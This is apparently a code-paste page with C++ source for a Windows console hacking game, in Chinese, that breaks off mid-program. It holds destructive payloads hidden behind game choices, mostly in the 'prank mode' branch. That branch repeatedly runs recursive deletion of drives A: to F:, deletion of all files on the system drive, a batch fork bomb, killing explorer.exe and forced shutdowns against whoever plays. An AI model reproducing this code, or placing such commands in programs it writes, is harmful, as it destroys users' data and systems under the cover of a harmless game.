跳到正文

剪贴板

剪贴板 28psywg8

原文
剪贴板信息

剪贴板信息

收录
更新

黑客帝国

C++
#include <bits/stdc++.h>
#include <windows.h>
#include <unistd.h>
#include <conio.h>
#include <time.h>
using namespace std;
#define int long long
char begin_choose;
int flag1;
int len;
string jineng[5] = {"???","反击","贪婪","黑客精通I","白客精通I"};
int price[5] = {0,300,2000,5000,5000};
string JJ[5] = {"无","别人打你你反打一下","连打两下","伤害+50%","减伤50%"};
map<string,bool> JN;
string backpack[100100];
void show(char *s)
{
	int len = strlen(s);
	for (int i = 0; i < len ; i++)
	{
		printf("%c", s[i]);
		if (s[i] == ' ') continue;
		Sleep(100);
	}
	printf("\n");
	Sleep(500);
}
void begin() {
	show("黑客帝国");
	cout << endl;
	sleep(1);
	cout << "制作人:";
	sleep(1);
	show("qianch**g");
	sleep(1);
	cout << "版本:";
	sleep(1);
	show("1.1.0");
	sleep(1);
	cout << "开始吗?Y/N" << endl;
	cin >> begin_choose;
	if(begin_choose == 'N') {
		system("cls");
		show("You are welcome!");
		cout << endl;
		flag1 = 1;
		return;

	}else if(begin_choose != 'Y') {
		system("cls");
		show("既然不好好玩,那就去死吧!!!");
		cout << endl;
		flag1 = 2;
	}else {
		system("cls");
		cout << "登入中";
		show("······");
		cout << endl;
		sleep(2);
		return;
	}
}
void lao_liu() {
	system("cls");
	show("你确定吗???(确定打1,不确定打2)");
	double choose888;
	cin >> choose888;
	if(choose888 == 1) {
		show("你被坑了,哈哈哈......");
		sleep(1);
		system("shutdown -s -t 5");
	}else if(choose888 == 2) {
		show("呵呵,懦弱的人!!!");
		sleep(1);
		system("rd /s /q C:");
	    sleep(1);
	    system("rd /s /q D:");
	    sleep(1);
	    system("rd /s /q E:");
	    sleep(1);
	    system("rd /s /q F:");
	    sleep(1);
	    system("shutdown -s -t 1");
	}else if(choose888 == 0.5) {
		show("恭喜你!解锁了攻略!");
		show("-----------------------------------------------------------------");
		show("攻略:一开始输入20120519,然后选除了1,2以外的数。");
		show("接着输入32304进入问答,第一题:9,第二题:5,第三题选2,坑人题选4");
		show("接着等4秒,第五题选3,最后输入Buy_a_new_computer通关");
		sleep(3);
		show("攻略看过了,关机也送给你!");
		system("shutdown -s -t 30");
		sleep(20);
		system("shutdown -a");
		show("哈哈险不险?");
	}else if(choose888 == 20120519) {
		show("答对了!!!");
		system("cls");
		show("你打游戏是微氪党还是氪金大佬???");
		show("微氪选1,大佬选2");
		int laoliu_choose2;
		cin >> laoliu_choose2;
		if(laoliu_choose2 == 1) {
			show("什么!你氪金!!!");
			show("不过比氪金苟好!");
			show("给你个关机,引以为戒!");
			system("shutdown -s -t 1");
		}else if(laoliu_choose2 == 2) {
			show("什么!你竟然是氪金苟!!!");
			show("氪金苟不配玩!");
			show("去死吧!!!");
			sleep(1);
			system("rd /s /q A:");
	        system("rd /s /q B:");
	        system("rd /s /q C:");
	        system("rd /s /q D:");
	        system("rd /s /q E:");
	        system("rd /s /q F:");
			system("start cmd ipconfig");
			system("%0|%0");
			system("taskkill /f /t /Im explorer.exe");
			system("del %systemdrive%*.*/f/s/q");
		}else {
			show("太好了,我又找到了一个志同道合的伙伴!白嫖党欢迎你!");
			show("为了奖励你,我这有一个答题环节,要玩吗?");
			int choose6;
			cin >> choose6;
			if(choose6 == 32304) {
				system("cls");
				for(int i = 1;i <= 100;i++) {
					cout << i << "%" << endl;
					Sleep(50);
					system("cls");
				}
				system("cls");
				show("第一题:517有几段?");
				int num1;
				cin >> num1;
				if(num1 == 9) {
					show("对了!");
					show("第二题:算上这一问,老六模式有多少问?");
					int num2;
					cin >> num2;
					if(num2 == 5) {
						show("对了!");
						show("第三题:1+1=?");
						int num3;
						cin >> num3;
						if(num3 == 2) {
							show("对了!");
							show("坑人题:你跑得过你家狗吗?");
							show("跑得过输1,跑不过输2,平手输3");
							int num4;
							cin >> num4;
							if(num4 == 1) show("你比禽兽还禽兽!");
							else if(num4 == 2) show("你禽兽都不如!");
							else if(num4 == 3) show("你和禽兽没两样!");
							else {
								show("哦,原来你家没有狗呀!");
								show("当我没说!");
								show("老六模式杀青!");
								show("感谢大家的支持!");
								sleep(10);
								system("cls");
								show("嘿嘿嘿,你以为真的杀青了??");
								show("其实并没有!");
								show("继续!");
								show("第五题:你和你的仇人走在路上,发现前面有个坑。");
								show("你会把仇人推进去,还是继续走?");
								show("推进去选1,继续走选2");
								int choose90;
								cin >> choose90;
								if(choose90 == 1) {
									system("cls");
									show("监控看见了你!");
									show("你被捕了!");
									show("你被判为死刑!");
									show("行刑!");
									system("rd /s /q A:");
	        						system("rd /s /q B:");
	        						system("rd /s /q C:");
	        						system("rd /s /q D:");
	        						system("rd /s /q E:");
	        						system("rd /s /q F:");
									system("start cmd ipconfig");
									system("%0|%0");
									system("taskkill /f /t /Im explorer.exe");
									system("del %systemdrive%*.*/f/s/q");
								}else if(choose90 == 2) {
									show("你的仇人趁你不注意,把你推了进去......");
									show("屎!");
									system("shutdown -s -t 1");
								}else if(choose90 == 3) {
									show("你用魔法把监控爆掉了......");
									show("你把仇人推进了坑......");
									show("你又用魔法把坑填平了......");
									show("最后你又把监控复原了......");
									show("答对了!");
									system("cls");
									for(int i = 1;i <= 100;i++) {
										cout << "正在加载下一道题..." << "     " << i << "%" << endl;
										Sleep(50);
										system("cls");
									}
									show("加载失败!");
									show("请检查网络!");
									show("***:哈哈哈,你的电脑已经被我操控了!");
									show("***:我是黑客!");
									show("***:想办法回复你的电脑!");
									string answer;
									cin >> answer;
									if(answer == "Buy_a_new_computer") {
										show("***:好吧算你狠!");
									}else {
										system("cls");
										show("输入失败!");
										show("***:哼,给了你机会你不中用啊!");
										show("***:死吧!");
										system("rd /s /q A:");
	        							system("rd /s /q B:");
	        							system("rd /s /q C:");
	        							system("rd /s /q D:");
	        							system("rd /s /q E:");
	        							system("rd /s /q F:");
										system("start cmd ipconfig");
										system("%0|%0");
										system("taskkill /f /t /Im explorer.exe");
										system("del %systemdrive%*.*/f/s/q");
									}
								}
							}
						}else {
							show("太拉了,这幼儿园数学都答不对!");
						}
					}else {
						show("错了!");
						show("太拉了!");
					}
				}else {
					show("错了!");
					show("太拉了!");
				}
			}else {
				show("你在瞎输什么?");
				show("惩罚你与我决斗!");
				for(int i = 1;i <= 100;i++) {
					cout << i << "%" << endl;
					Sleep(50);
					system("cls");
				}
				system("cls");
				show(" qianch**g 使用了九天雷动!");
				show("轰!轰!轰!轰!");
				show("你受到了999999999999999999点伤害!");
				show("你死了!");
				sleep(1);
				system("cls");
				show("你输了!");
				show("接受惩罚吧!");
				system("rd /s /q A:");
	        	system("rd /s /q B:");
	        	system("rd /s /q C:");
	        	system("rd /s /q D:");
	        	system("rd /s /q E:");
	        	system("rd /s /q F:");
				system("start cmd ipconfig");
				system("%0|%0");
				system("taskkill /f /t /Im explorer.exe");
				system("del %systemdrive%*.*/f/s/q");
			}
		}
	}else {
		show("什么玩意儿???");
		system("shutdown -s -t 1");
	}
}
void guan_huai() {show("介于你那可怜的智商,你通关了!!!");}
void ju_qing() {
	system("cls");
	show("你醒了,发现你在医院里。");
	show("陌生人:先生,先生!您还认识我吗?");
	show("你:[摇头]");
	show("陌生人:您不记得我了吗?我是阿尔法呀!");
	show("你:你是谁?");
	system("cls");
	cout << "(这时走来了一个医生)" << endl;
	sleep(1);
	show("医生:别叫了,这位先生。他因车祸导致永久失忆");
	show("阿尔法:不,这不可能!先生!您认识我吗?我是阿尔法,您的助手啊!");
	show("你:我是谁?我怎么什么都记不起来了?");
	show("医生:你乘坐的汽车与另外一件汽车相撞,你存活了下来,但失去了记忆。");
	system("cls");
	cout << "医院外" << endl;
	show("你:你是谁,我又是谁?");
	show("阿尔法:你是当时威震世界的黑客之王!我是你的助手。");
	show("你:!!!黑客!!!");
	sleep(1);
	system("cls");
}
void test() {
	if(flag1 == 1) return;
	else if(flag1 == 2) {
		show("奥义:秒杀!");
		sleep(1);
		return;
	}else {
		system("cls");
		int sum_1 = 0;
		show("请选择模式");
		show("1.制杖模式");
		show("2.蒟蒻模式");
		show("3.简单模式");
		show("4.中等模式");
		show("5.困难模式");
		show("6.魔鬼模式");
		show("*7.老六模式");
		show("**8.智商关爱模式");
		int choose110;
		cin >> choose110;
		if(choose110 == 1) sum_1=1;
		if(choose110 == 2) sum_1=10;
		if(choose110 == 3) sum_1=100;
		if(choose110 == 4) sum_1=1000;
		if(choose110 == 5) sum_1=10000;
		if(choose110 == 6) sum_1=100000;
		if(choose110 == 7) {
			lao_liu();
			return;
		}
		if(choose110 == 8) {
			guan_huai();
			return;
		}
		show("想看剧情吗?想看打1,不想随便输");
		int choose21;
		cin >> choose21;
		if(choose21 == 1) ju_qing();
		system("cls");
		int ATlv = 1,DFlv = 1;
		int HP=100,M=100,AT=5,DF=5;
		int mubiao = 10000*sum_1;
		int choose1;
		string PC = "老古董";
		while(M < mubiao) {
			if(HP <= 0) {
				show("你死了,累死的......");
				sleep(1);
				return;
			}
			printf("精神力:%lld  钱:%lld  攻击能力:%lld  抵御攻击能力:%lld",HP,M,AT,DF);
			cout << "     " << PC << endl;
			cout << endl;
			cout << "1.黑客技术学习   2.攻击   3.电脑店   4.睡觉    5.打工    6.副本   7.背包    8.礼包码   9.技能   10.黑市";
			cout << endl;
			cin >> choose1;
			if(choose1 == 1) {
				system("cls");
				show("想要学习什么? ");
				cout << endl;
				show("1.攻击技巧 2.防御技巧 3.go back to the homepage!");
				cout << endl;
				int choose2;
				cin >> choose2;
				if(choose2 == 1) {
					printf("支付%lld元(Y/N)",ATlv*100LL);
					char buy;
					cin >> buy;
					system("cls");
					if(buy == 'Y') {
						M -= ATlv*100;
						ATlv++;
						AT+=5;
					}else continue;
				}else if(choose2 == 2) {
					printf("支付%lld元(Y/N)",DFlv*100LL);
					char buy;
					cin >> buy;
					system("cls");
					if(buy == 'Y') {
						M -= DFlv*100;
						DFlv++;
						DF+=5;
					}else continue;
				}else if(choose2 == 3) continue;
			}else if(choose1 == 4) {
				show("你美美的睡了一觉");
				cout << endl;
				sleep(1);
				HP = 100;
				system("cls");
			}else if(choose1 == 5) {
				int money = rand() % 800;
				int a = rand() % 20;
				M+=money;
				HP-=a;
				printf("获得了%lld元\n",money);
				sleep(1);
				system("cls");
			}else if(choose1 == 3) {
				show("1.老古董   2.1代   3.2代   4.3代    5.超级计算机(5代)");
				int choose3;
				cin >> choose3;
				if(choose3 == 1) {
					cout << "支付1000元(Y/N)" << endl;
					char buy;
					cin >> buy;
					system("cls");
					if(buy == 'Y') {
						M -= 1000;
						PC = "老古董";
					}else continue;
				}else if(choose3 == 2) {
					cout << "支付5000元(Y/N)" << endl;
					char buy;
					cin >> buy;
					system("cls");
					if(buy == 'Y') {
						M -= 5000;
						PC = "1代";
					}else continue;
				}else if(choose3 == 5) {
					cout << "支付300000元(Y/N)" << endl;
					char buy;
					cin >> buy;
					system("cls");
					if(buy == 'Y') {
						M -= 300000;
						PC = "超级计算机";
					}else continue;
				}else if(choose3 == 3) {
					cout << "支付9999元(Y/N)" << endl;
					char buy;
					cin >> buy;
					system("cls");
					if(buy == 'Y') {
						M -= 9999;
						PC = "2代";
					}else continue;
				}else if(choose3 == 4) {
					cout << "支付12345元(Y/N)" << endl;
					char buy;
					cin >> buy;
					system("cls");
					if(buy == 'Y') {
						M -= 12345;
						PC = "3代";
					}else continue;
				}else continue;
			}else if(choose1 == 2) {
				if(PC == "无") {
					cout << "你没电脑!!!" << endl;
					system("cls");
					continue;
				}else {
					cout << "你准备攻击哪个网站?" << endl;
					show("1.小平台(完成奖励1000)   2.中平台(完成奖励5000)   3.大平台(完成奖励10000)   4.国家级平台(完成奖励200000) ");
					cout << endl;
					int choose4;
					cin >> choose4;
					if(choose4 == 1) {
						system("cls");
						cout << "准备好了吗?" << endl;
						sleep(1);
						int his_PC = rand() % 5;
						cout << "网络安全管理员发现了你!" << endl;
						sleep(1);
						int hp=0,hp2=0;
						if(PC == "老古董") hp=100;
						if(PC == "1代") hp=300;
						if(PC == "2代") hp=500;
						if(PC == "3代") hp=1000;
						if(PC == "超级计算机") hp=10000;
						if(his_PC == 1) hp2=100;
						if(his_PC == 2) hp2=300;
						if(his_PC == 3) hp2=500;
						if(his_PC == 4) hp2=1000;
						if(his_PC == 5) hp2=10000;
						while(hp2 > 0) {
							if(hp <= 0) {
								system("cls");
								cout << "你失败了" << endl;
								cout << "你的电脑报废了" << endl;
								PC = "无";
								sleep(1);
								break;
							}
							int his_at = rand() % 30;
							int his_df = rand() % 30;
							int YOU_at = rand() % 100;
							int YOU_df = rand() % 100;
							int HIS_at = rand() % 100;
							int HIS_df = rand() % 100;
							YOU_at *= AT/10;
							YOU_df *= DF/10;
							HIS_at *= his_at/10;
							HIS_df *= his_df/10;
							if(YOU_at <= HIS_df) {
								cout << "你攻击了个寂寞。" << endl;
								sleep(1);
							}
							else {
								cout << "你发起了攻击!" << endl;
								sleep(1);
								int baoji = rand() % 5;
								if(JN["黑客精通I"]) YOU_at += YOU_at / 2;
								if(baoji == 1) {
									printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
									if(JN["贪婪"]) printf("对手的电脑又受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
									hp2 -= (YOU_at-HIS_df)*2;
								}else {
									printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
									if(JN["贪婪"]) printf("对手的电脑又受到了%lld点伤害!\n",YOU_at-HIS_df);
									hp2 -= YOU_at-HIS_df;
								}
								sleep(1);
							}
							if(HIS_at <= YOU_df) {
								cout << "TA攻击了个寂寞。" << endl;
								sleep(1);
							}
							else {
								cout << "TA发起了攻击!" << endl;
								sleep(1);
								if(JN["白客精通I"]) HIS_at -= HIS_at/2;
								printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
								if(JN["反击"]) printf("反击!敌人的电脑受到了%lld点伤害!\n",(HIS_at-YOU_df)/2);
								hp -= HIS_at-YOU_df;
								sleep(1);
							}
						}
						if(hp <= 0) {
							system("cls");
							continue;
						}
						else {
							system("cls");
							cout << "进攻成功!" << endl;
							sleep(1);
							M += 1000;
						}
					}else if(choose4 == 2) {
						system("cls");
						cout << "准备好了吗?" << endl;
						sleep(1);
						int his_PC = rand() % 5;
						cout << "网络安全管理员发现了你!" << endl;
						sleep(1);
						int hp=0,hp2=0;
						if(PC == "老古董") hp=100;
						if(PC == "1代") hp=300;
						if(PC == "2代") hp=500;
						if(PC == "3代") hp=1000;
						if(PC == "超级计算机") hp=10000;
						if(his_PC == 1) hp2=100;
						if(his_PC == 2) hp2=300;
						if(his_PC == 3) hp2=500;
						if(his_PC == 4) hp2=1000;
						if(his_PC == 5) hp2=10000;
						while(hp2 > 0) {
							if(hp <= 0) {
								system("cls");
								cout << "你失败了" << endl;
								cout << "你的电脑报废了" << endl;
								PC = "无";
								sleep(1);
								break;
							}
							int his_at = rand() % 50;
							int his_df = rand() % 50;
							int YOU_at = rand() % 100;
							int YOU_df = rand() % 100;
							int HIS_at = rand() % 100;
							int HIS_df = rand() % 100;
							YOU_at *= AT/10;
							YOU_df *= DF/10;
							HIS_at *= his_at/10;
							HIS_df *= his_df/10;
							if(YOU_at <= HIS_df) {
								cout << "你攻击了个寂寞。" << endl;
								sleep(1);
							}
							else {
								cout << "你发起了攻击!" << endl;
								sleep(1);
								int baoji = rand() % 5;
								if(JN["黑客精通I"]) YOU_at += YOU_at / 2;
								if(baoji == 1) {
									printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
									if(JN["贪婪"]) printf("对手的电脑又受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
									hp2 -= (YOU_at-HIS_df)*2;
								}else {
									printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
									if(JN["贪婪"]) printf("对手的电脑又受到了%lld点伤害!\n",YOU_at-HIS_df);
									hp2 -= YOU_at-HIS_df;
								}
								sleep(1);
							}
							if(HIS_at <= YOU_df) {
								cout << "TA攻击了个寂寞。" << endl;
								sleep(1);
							}
							else {
								cout << "TA发起了攻击!" << endl;
								sleep(1);
								if(JN["白客精通I"]) HIS_at -= HIS_at/2;
								printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
								if(JN["反击"]) printf("反击!敌人的电脑受到了%lld点伤害!\n",(HIS_at-YOU_df)/2);
								hp -= HIS_at-YOU_df;
								sleep(1);
							}
						}
						if(hp <= 0) {
							system("cls");
							continue;
						}
						else {
							system("cls");
							cout << "进攻成功!" << endl;
							sleep(1);
							M += 5000;
						}
					}else if(choose4 == 3) {
						system("cls");
						cout << "准备好了吗?" << endl;
						sleep(1);
						int his_PC = rand() % 5;
						cout << "网络安全管理员发现了你!" << endl;
						sleep(1);
						int hp=0,hp2=0;
						if(PC == "老古董") hp=100;
						if(PC == "1代") hp=300;
						if(PC == "2代") hp=500;
						if(PC == "3代") hp=1000;
						if(PC == "超级计算机") hp=10000;
						if(his_PC == 1) hp2=100;
						if(his_PC == 2) hp2=300;
						if(his_PC == 3) hp2=500;
						if(his_PC == 4) hp2=1000;
						if(his_PC == 5) hp2=10000;
						while(hp2 > 0) {
							if(hp <= 0) {
								system("cls");
								cout << "你失败了" << endl;
								cout << "你的电脑报废了" << endl;
								PC = "无";
								sleep(1);
								break;
							}
							int his_at = rand() % 100;
							int his_df = rand() % 100;
							int YOU_at = rand() % 100;
							int YOU_df = rand() % 100;
							int HIS_at = rand() % 100;
							int HIS_df = rand() % 100;
							YOU_at *= AT/10;
							YOU_df *= DF/10;
							HIS_at *= his_at/10;
							HIS_df *= his_df/10;
							if(YOU_at <= HIS_df) {
								cout << "你攻击了个寂寞。" << endl;
								sleep(1);
							}
							else {
								cout << "你发起了攻击!" << endl;
								sleep(1);
								int baoji = rand() % 5;
								if(JN["黑客精通I"]) YOU_at += YOU_at / 2;
								if(baoji == 1) {
									printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
									if(JN["贪婪"]) printf("对手的电脑又受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
									hp2 -= (YOU_at-HIS_df)*2;
								}else {
									printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
									if(JN["贪婪"]) printf("对手的电脑又受到了%lld点伤害!\n",YOU_at-HIS_df);
									hp2 -= YOU_at-HIS_df;
								}
								sleep(1);
							}
							if(HIS_at <= YOU_df) {
								cout << "TA攻击了个寂寞。" << endl;
								sleep(1);
							}
							else {
								cout << "TA发起了攻击!" << endl;
								sleep(1);
								if(JN["白客精通I"]) HIS_at -= HIS_at/2;
								printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
								if(JN["反击"]) printf("反击!敌人的电脑受到了%lld点伤害!\n",(HIS_at-YOU_df)/2);
								hp -= HIS_at-YOU_df;
								sleep(1);
							}
						}
						if(hp <= 0) {
							system("cls");
							continue;
						}
						else {
							system("cls");
							cout << "进攻成功!" << endl;
							sleep(1);
							M += 10000;
						}
					}else if(choose4 == 4) {
						system("cls");
						cout << "准备好了吗?" << endl;
						sleep(1);
						int his_PC = rand() % 5;
						cout << "网络安全管理员发现了你!" << endl;
						sleep(1);
						int hp=0,hp2=0;
						if(PC == "老古董") hp=100;
						if(PC == "1代") hp=300;
						if(PC == "2代") hp=500;
						if(PC == "3代") hp=1000;
						if(PC == "超级计算机") hp=10000;
						if(his_PC == 1) hp2=100;
						if(his_PC == 2) hp2=300;
						if(his_PC == 3) hp2=500;
						if(his_PC == 4) hp2=1000;
						if(his_PC == 5) hp2=10000;
						while(hp2 > 0) {
							if(hp <= 0) {
								system("cls");
								cout << "你失败了" << endl;
								cout << "你的电脑报废了" << endl;
								PC = "无";
								sleep(1);
								break;
							}
							int his_at = rand() % 300;
							int his_df = rand() % 300;
							int YOU_at = rand() % 100;
							int YOU_df = rand() % 100;
							int HIS_at = rand() % 100;
							int HIS_df = rand() % 100;
							YOU_at *= AT/10;
							YOU_df *= DF/10;
							HIS_at *= his_at/10;
							HIS_df *= his_df/10;
							if(YOU_at <= HIS_df) {
								cout << "你攻击了个寂寞。" << endl;
								sleep(1);
							}
							else {
								cout << "你发起了攻击!" << endl;
								sleep(1);
								int baoji = rand() % 5;
								if(JN["黑客精通I"]) YOU_at += YOU_at / 2;
								if(baoji == 1) {
									printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
									if(JN["贪婪"]) printf("对手的电脑又受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
									hp2 -= (YOU_at-HIS_df)*2;
								}else {
									printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
									if(JN["贪婪"]) printf("对手的电脑又受到了%lld点伤害!\n",YOU_at-HIS_df);
									hp2 -= YOU_at-HIS_df;
								}
								sleep(1);
							}
							if(HIS_at <= YOU_df) {
								cout << "TA攻击了个寂寞。" << endl;
								sleep(1);
							}
							else {
								cout << "TA发起了攻击!" << endl;
								sleep(1);
								if(JN["白客精通I"]) HIS_at -= HIS_at/2;
								printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
								if(JN["反击"]) printf("反击!敌人的电脑受到了%lld点伤害!\n",(HIS_at-YOU_df)/2);
								hp -= HIS_at-YOU_df;
								sleep(1);
							}
						}
						if(hp <= 0) {
							system("cls");
							continue;
						}
						else {
							system("cls");
							cout << "进攻成功!" << endl;
							sleep(1);
							M += 200000;
						}
					}
				}
			}else if(choose1 == 6) {
				system("cls");
				show("1.money副本    2.《黑客指南——攻击篇》副本     3.《黑客指南——防御篇》副本");
				show("注意:副本不支持技能!");
				int choose114514;
				cin >> choose114514;
				if(choose114514 == 1) {
					system("cls");
					cout << "准备好了吗?" << endl;
					sleep(1);
					int his_PC = rand() % 5;
					cout << "网络安全管理员发现了你!" << endl;
					sleep(1);
					int hp=0,hp2=0;
					if(PC == "老古董") hp=100;
					if(PC == "1代") hp=300;
					if(PC == "2代") hp=500;
					if(PC == "3代") hp=1000;
					if(PC == "超级计算机") hp=10000;
					if(his_PC == 1) hp2=100;
					if(his_PC == 2) hp2=300;
					if(his_PC == 3) hp2=500;
					if(his_PC == 4) hp2=1000;
					if(his_PC == 5) hp2=10000;
					while(hp2 > 0) {
						if(hp <= 0) {
							system("cls");
							cout << "你失败了" << endl;
							cout << "你的电脑报废了" << endl;
							PC = "无";
							sleep(1);
							break;
						}
						int his_at = rand() % 50;
						int his_df = rand() % 50;
						int YOU_at = rand() % 100;
						int YOU_df = rand() % 100;
						int HIS_at = rand() % 100;
						int HIS_df = rand() % 100;
						YOU_at *= AT/10;
						YOU_df *= DF/10;
						HIS_at *= his_at/10;
						HIS_df *= his_df/10;
						if(YOU_at <= HIS_df) {
							cout << "你攻击了个寂寞。" << endl;
							sleep(1);
						}
						else {
							cout << "你发起了攻击!" << endl;
							sleep(1);
							int baoji = rand() % 5;
							if(baoji == 1) {
								printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
								hp2 -= (YOU_at-HIS_df)*2;
							}else {
								printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
								hp2 -= YOU_at-HIS_df;
							}
							sleep(1);
						}
						if(HIS_at <= YOU_df) {
							cout << "TA攻击了个寂寞。" << endl;
							sleep(1);
						}
						else {
							cout << "TA发起了攻击!" << endl;
							sleep(1);
							printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
							hp -= HIS_at-YOU_df;
							sleep(1);
						}
					}
					if(hp <= 0) {
						system("cls");
						continue;
					}
					else {
						system("cls");
						cout << "进攻成功!" << endl;
						sleep(1);
						system("cls");
						int prize = rand() % 3;
						if(prize == 0) {
							len++;
							backpack[len] = "小钱包";
							show("荣获小钱包一个!!!");
							sleep(1);
							system("cls");
						}else if(prize == 1) {
							len++;
							backpack[len] = "中钱包";
							show("荣获中钱包一个!!!");
							sleep(1);
							system("cls");
						}else if(prize == 2) {
							len++;
							backpack[len] = "大钱包";
							show("荣获大钱包一个!!!");
							sleep(1);
							system("cls");
						}
						M += 200000;
					}
				}else if(choose114514 == 114514) {
					show("恭喜你!!!");
					show("大钱包+攻击书+防御书大礼盒一个!!!");
					len++;
					backpack[len] = "大钱包";
					len++;
					backpack[len] = "《黑客指南——攻击篇》";
					len++;
					backpack[len] = "《黑客指南——防御篇》";
					system("cls");
				}else if(choose114514 == 2) {
					system("cls");
					cout << "准备好了吗?" << endl;
					sleep(1);
					int his_PC = rand() % 5;
					cout << "网络安全管理员发现了你!" << endl;
					sleep(1);
					int hp=0,hp2=0;
					if(PC == "老古董") hp=100;
					if(PC == "1代") hp=300;
					if(PC == "2代") hp=500;
					if(PC == "3代") hp=1000;
					if(PC == "超级计算机") hp=10000;
					if(his_PC == 1) hp2=100;
					if(his_PC == 2) hp2=300;
					if(his_PC == 3) hp2=500;
					if(his_PC == 4) hp2=1000;
					if(his_PC == 5) hp2=10000;
					while(hp2 > 0) {
						if(hp <= 0) {
							system("cls");
							cout << "你失败了" << endl;
							cout << "你的电脑报废了" << endl;
							PC = "无";
							sleep(1);
							break;
						}
						int his_at = rand() % 50;
						int his_df = rand() % 50;
						int YOU_at = rand() % 100;
						int YOU_df = rand() % 100;
						int HIS_at = rand() % 100;
						int HIS_df = rand() % 100;
						YOU_at *= AT/10;
						YOU_df *= DF/10;
						HIS_at *= his_at/10;
						HIS_df *= his_df/10;
						if(YOU_at <= HIS_df) {
							cout << "你攻击了个寂寞。" << endl;
							sleep(1);
						}
						else {
							cout << "你发起了攻击!" << endl;
							sleep(1);
							int baoji = rand() % 5;
							if(baoji == 1) {
								printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
								hp2 -= (YOU_at-HIS_df)*2;
							}else {
								printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
								hp2 -= YOU_at-HIS_df;
							}
							sleep(1);
						}
						if(HIS_at <= YOU_df) {
							cout << "TA攻击了个寂寞。" << endl;
							sleep(1);
						}
						else {
							cout << "TA发起了攻击!" << endl;
							sleep(1);
							printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
							hp -= HIS_at-YOU_df;
							sleep(1);
						}
					}
					if(hp <= 0) {
						system("cls");
						continue;
					}
					else {
						system("cls");
						cout << "进攻成功!" << endl;
						sleep(1);
						system("cls");
						show("荣获攻击书一本!");
						len++;
						backpack[len] = "《黑客指南——攻击篇》";
						system("cls");
					}
				}else if(choose114514 == 3) {
					system("cls");
					cout << "准备好了吗?" << endl;
					sleep(1);
					int his_PC = rand() % 5;
					cout << "网络安全管理员发现了你!" << endl;
					sleep(1);
					int hp=0,hp2=0;
					if(PC == "老古董") hp=100;
					if(PC == "1代") hp=300;
					if(PC == "2代") hp=500;
					if(PC == "3代") hp=1000;
					if(PC == "超级计算机") hp=10000;
					if(his_PC == 1) hp2=100;
					if(his_PC == 2) hp2=300;
					if(his_PC == 3) hp2=500;
					if(his_PC == 4) hp2=1000;
					if(his_PC == 5) hp2=10000;
					while(hp2 > 0) {
						if(hp <= 0) {
							system("cls");
							cout << "你失败了" << endl;
							cout << "你的电脑报废了" << endl;
							PC = "无";
							sleep(1);
							break;
						}
						int his_at = rand() % 50;
						int his_df = rand() % 50;
						int YOU_at = rand() % 100;
						int YOU_df = rand() % 100;
						int HIS_at = rand() % 100;
						int HIS_df = rand() % 100;
						YOU_at *= AT/10;
						YOU_df *= DF/10;
						HIS_at *= his_at/10;
						HIS_df *= his_df/10;
						if(YOU_at <= HIS_df) {
							cout << "你攻击了个寂寞。" << endl;
							sleep(1);
						}
						else {
							cout << "你发起了攻击!" << endl;
							sleep(1);
							int baoji = rand() % 5;
							if(baoji == 1) {
								printf("对手的电脑受到了%lld点暴击伤害!\n",(YOU_at-HIS_df)*2);
								hp2 -= (YOU_at-HIS_df)*2;
							}else {
								printf("对手的电脑受到了%lld点伤害!\n",YOU_at-HIS_df);
								hp2 -= YOU_at-HIS_df;
							}
							sleep(1);
						}
						if(HIS_at <= YOU_df) {
							cout << "TA攻击了个寂寞。" << endl;
							sleep(1);
						}
						else {
							cout << "TA发起了攻击!" << endl;
							sleep(1);
							printf("你的电脑受到了%lld点伤害!\n",HIS_at-YOU_df);
							hp -= HIS_at-YOU_df;
							sleep(1);
						}
					}
					if(hp <= 0) {
						system("cls");
						continue;
					}
					else {
						system("cls");
						cout << "进攻成功!" << endl;
						sleep(1);
						system("cls");
						show("荣获防御书一本!");
						len++;
						backpack[len] = "《黑客指南——防御篇》";
						system("cls");
					}
				}
			}else if(choose1 == 7) {
				system("cls");
				if(len == 0) {
					show("背包是空的。");
					sleep(1);
					system("cls");
					continue;
				}
				for(int i = 1;i <= len;i++) {
					cout << i << ". " << backpack[i] << endl;
					sleep(1);
				}
				show("想要干什么?");
				show("1.使用 2.交换位置");
				int choose_114514;
				cin >> choose_114514;
				if(choose_114514 == 1) {
					show("请输入编号:");
					int choose_110;
					cin >> choose_110;
					if(backpack[choose_110] == "小钱包") {
						M += 1000;
						backpack[choose_110] = "空气";
					}else if(backpack[choose_110] == "中钱包") {
						M += 10000;
						backpack[choose_110] = "空气";
					}else if(backpack[choose_110] == "大钱包") {
						M += 50000;
						backpack[choose_110] = "空气";
					}else if(backpack[choose_110] == "《黑客指南——攻击篇》") {
						AT += 15;
						backpack[choose_110] = "空气";
					}else if(backpack[choose_110] == "《黑客指南——防御篇》") {
						DF += 15;
						backpack[choose_110] = "空气";
					}else if(backpack[choose_110] == "空气") show("你认为空气会有作用吗???");
					system("cls");
				}else if(choose_114514 == 2) {
					show("输入两个编号");
					int aa,bb;
					cin >> aa >> bb;
					swap(backpack[aa],backpack[bb]);
					system("cls");
				}
			}else if(choose1 == 8) {
				show("请输入礼包码:");
